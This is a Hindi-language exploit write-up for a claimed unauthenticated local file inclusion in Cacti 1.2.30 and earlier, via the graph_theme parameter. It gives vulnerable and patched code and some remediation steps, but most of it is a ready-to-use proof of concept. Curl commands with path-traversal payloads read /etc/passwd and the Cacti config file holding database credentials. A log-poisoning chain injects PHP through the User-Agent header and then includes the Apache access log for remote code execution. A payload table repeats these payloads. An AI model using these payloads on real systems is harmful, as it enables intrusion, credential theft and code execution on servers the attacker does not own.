CVE-2026-39938: Cacti <= 1.2.30 - अनधिकृत LFI

कार्यकारी सारांश

फ़ील्ड	मान
CVE ID	CVE-2026-39938
CVSS स्कोर	9.8 (गंभीर)
प्रभावित उत्पाद	Cacti
प्रभावित संस्करण	<= 1.2.30
पैच किया गया संस्करण	1.2.31
फिक्स कमिट	9871f0c

भेद्यता विवरण

मूल कारण

यह भेद्यता lib/rrd.php में मौजूद है जहाँ graph_theme पैरामीटर को बिना सैनिटाइज़ेशन के सीधे उपयोग किया जाता है:

संवेदनशील कोड:

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

पैच किया गया कोड:

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

समस्या: ../ पथ ट्रावर्सल अनुक्रमों के विरुद्ध कोई सत्यापन नहीं, जिससे हमलावर बिना प्रमाणीकरण के मनमानी फ़ाइलें पढ़ सकते हैं।

प्रूफ ऑफ कॉन्सेप्ट (PoC) - सरल चरण

चरण 1: भेद्यता सत्यापित करें - /etc/passwd पढ़ें

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

परिणाम: प्रतिक्रिया में /etc/passwd की सामग्री प्रदर्शित होगी।

चरण 2: डेटाबेस कॉन्फ़िगरेशन पढ़ें

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

परिणाम: डेटाबेस क्रेडेंशियल्स (उपयोगकर्ता नाम, पासवर्ड) उजागर हो जाएंगे।

चरण 3: लॉग पॉइज़निंग के माध्यम से रिमोट कोड निष्पादन

3.1 Apache लॉग में PHP कोड इंजेक्ट करें

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 लॉग फ़ाइल को शामिल करके कोड निष्पादित करें

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

परिणाम: कमांड आउटपुट (जैसे, uid=33(www-data)) प्रदर्शित होगा।

सामान्य एंडपॉइंट जिनका परीक्षण किया गया

PoC URL उदाहरण

मूल LFI परीक्षण

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

एप्लिकेशन कॉन्फ़िग पढ़ें

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

लॉग पॉइज़निंग (इंजेक्शन)

http://target-cacti/graph_image.php?local_graph_id=1

हेडर के साथ: User-Agent: <?php system('id'); ?>

लॉग पॉइज़निंग (निष्पादन)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

सुधार

पैच किए गए संस्करण में अपडेट करें

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

पैच लागू हुआ सत्यापित करें

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

अस्थायी शमन (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

संदर्भ

W.P.E.F

रिपोर्ट सुरक्षा अनुसंधान उद्देश्यों के लिए उत्पन्न की गई दिनांक: जून 27, 2026

`/graph_image.php`	`graph_theme`	`../../../../../../../etc/passwd`
`/graph_image.php`	`graph_theme`	`../../../../include/config.php`
`/graph_image.php`	`graph_theme`	`../../../../../../../var/log/apache2/access.log`

By-Poloss..-..CVE-2026-39938

सबसे लोकप्रिय